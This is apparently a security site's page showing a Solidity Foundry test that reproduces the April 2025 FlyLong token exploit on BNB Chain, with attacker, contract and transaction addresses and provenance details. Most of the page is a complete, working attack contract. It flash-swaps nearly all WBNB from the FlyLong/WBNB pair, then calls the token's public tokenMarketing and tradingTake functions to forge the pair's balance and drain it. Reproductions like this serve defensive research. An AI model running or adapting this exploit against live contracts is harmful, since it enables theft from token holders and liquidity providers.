Skip to content
THREATWIRE

Public reproduction file

src/test/2025-04/flylong_exp.sol

Public reproduction file for dataset entry FlyLong.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-04/flylong_exp.sol134 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 1.73 BNB
8// Attacker : 0xd4e11065267421F88c0cf7a7791d84D8Fdd7d42B
9// Attack Contract : 0xC8e256A41d0ac7fD8D9ac31C0ae1942DC5EF8419
10// Vulnerable Contract : 0x9cA66a67dC3d77bEb59DC11cAf96677843797c08
11// Attack Tx : https://bscscan.com/tx/0x45f6a7df540933b3d2b1a275fcbfc146bbd48934ffb6635c4839d8590a9efc88
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x9cA66a67dC3d77bEb59DC11cAf96677843797c08#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/968
18//
19// Attack summary: The attacker borrowed almost all WBNB from the FlyLong/WBNB pair, then used
20// FlyLong.tokenMarketing and FlyLong.tradingTake in the Pancake callback to forge the pair's FlyLong
21// balance and satisfy the pair's K check.
22// Root cause: FlyLong exposes public balance-writing controls to any low-BNB-balance caller.
24address constant ATTACKER = 0xD4E11065267421F88C0Cf7A7791D84D8Fdd7D42B;
25address constant ROOT_ATTACK_CONTRACT = 0x9b45c1f7a01378C6490c3fDC01dd392842cfAAC7;
26address constant TRACE_HELPER = 0xC8e256A41d0Ac7fd8d9ac31c0Ae1942dC5Ef8419;
27address constant FLYLONG_TOKEN = 0x9cA66a67dC3d77bEb59DC11cAf96677843797c08;
28address constant FLYLONG_WBNB_PAIR = 0x27c0E529b3aA9289686dAf7ea12C9aCBcC3bb9A8;
29address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
31interface IFlyLong {
32 function balanceOf(
33 address account
34 ) external view returns (uint256);
35 function tokenMarketing(
36 address sellFromLiquidity
37 ) external;
38 function tradingTake(
39 address isMarketing,
40 uint256 swapAuto
41 ) external;
42 function tokenSwap() external view returns (bool);
45interface IPancakePairLike {
46 function token0() external view returns (address);
47 function token1() external view returns (address);
48 function swap(
49 uint256 amount0Out,
50 uint256 amount1Out,
51 address to,
52 bytes calldata data
53 ) external;
56interface IWBNBLike {
57 function balanceOf(
58 address account
59 ) external view returns (uint256);
60 function withdraw(
61 uint256 amount
62 ) external;
65contract ContractTest is BaseTestWithBalanceLog {
66 receive() external payable {}
68 function setUp() public {
69 vm.createSelectFork("bsc", 48_768_031);
71 fundingToken = address(0);
72 attacker = address(this);
74 vm.label(ATTACKER, "Attacker EOA");
75 vm.label(ROOT_ATTACK_CONTRACT, "Root Attack Contract");
76 vm.label(TRACE_HELPER, "Trace Helper");
77 vm.label(FLYLONG_TOKEN, "FlyLong");
78 vm.label(FLYLONG_WBNB_PAIR, "FlyLong/WBNB Pair");
79 vm.label(WBNB_TOKEN, "WBNB");
80 }
82 function testExploit() public balanceLog {
83 assertEq(IPancakePairLike(FLYLONG_WBNB_PAIR).token0(), FLYLONG_TOKEN);
84 assertEq(IPancakePairLike(FLYLONG_WBNB_PAIR).token1(), WBNB_TOKEN);
85 assertFalse(IFlyLong(FLYLONG_TOKEN).tokenSwap());
86 assertEq(IWBNBLike(WBNB_TOKEN).balanceOf(FLYLONG_WBNB_PAIR), 1_726_035_104_006_254_735);
87 assertEq(IFlyLong(FLYLONG_TOKEN).balanceOf(FLYLONG_WBNB_PAIR), 99_999_999_999_999_999_999_999_999);
89 FlyLongDrainAttack attack = new FlyLongDrainAttack(payable(address(this)));
90 attack.run();
92 assertLt(IWBNBLike(WBNB_TOKEN).balanceOf(FLYLONG_WBNB_PAIR), 0.001 ether);
93 assertGt(address(this).balance, 1.72 ether);
94 }
97contract FlyLongDrainAttack {
98 address payable private immutable profitReceiver;
100 receive() external payable {}
102 constructor(
103 address payable _profitReceiver
104 ) {
105 profitReceiver = _profitReceiver;
106 }
108 function run() external {
109 uint256 pairWbnb = IWBNBLike(WBNB_TOKEN).balanceOf(FLYLONG_WBNB_PAIR);
110 uint256 amountOut = pairWbnb * 9999 / 10_000;
111 IPancakePairLike(FLYLONG_WBNB_PAIR).swap(0, amountOut, address(this), abi.encode(FLYLONG_WBNB_PAIR));
113 uint256 wbnbProfit = IWBNBLike(WBNB_TOKEN).balanceOf(address(this));
114 IWBNBLike(WBNB_TOKEN).withdraw(wbnbProfit);
116 (bool ok,) = profitReceiver.call{value: address(this).balance}("");
117 require(ok, "profit transfer failed");
118 }
120 function pancakeCall(
121 address,
122 uint256,
123 uint256,
124 bytes calldata
125 ) external {
126 require(msg.sender == FLYLONG_WBNB_PAIR, "unexpected pair");
128 IFlyLong flyLong = IFlyLong(FLYLONG_TOKEN);
129 flyLong.tokenMarketing(address(this));
131 uint256 pairTokenBalance = flyLong.balanceOf(FLYLONG_WBNB_PAIR);
132 flyLong.tradingTake(FLYLONG_WBNB_PAIR, pairTokenBalance * 100_000);
133 }

Analysis

Dataset entry

Public Foundry test for “FlyLong” (2025-04-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd4e11065267421f88c0cf7a7791d84d8fdd7d42b

  • Attack Contract

    0xc8e256a41d0ac7fd8d9ac31c0ae1942dc5ef8419

  • Vulnerable Contract

    0x9ca66a67dc3d77beb59dc11caf96677843797c08

  • Attack Tx

    0x45f6a7df540933b3d2b1a275fcbfc146bbd48934ffb6635c4839d8590a9efc88

File record

Name
FlyLong
Path
src/test/2025-04/flylong_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b181258aba3240ccd4eade8b7f5c3f4d3bce6afc
Language
Solidity
Size
135 lines
Date
2025-04-29
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-04/flylong_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b181258aba3240ccd4eade8b7f5c3f4d3bce6afc, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.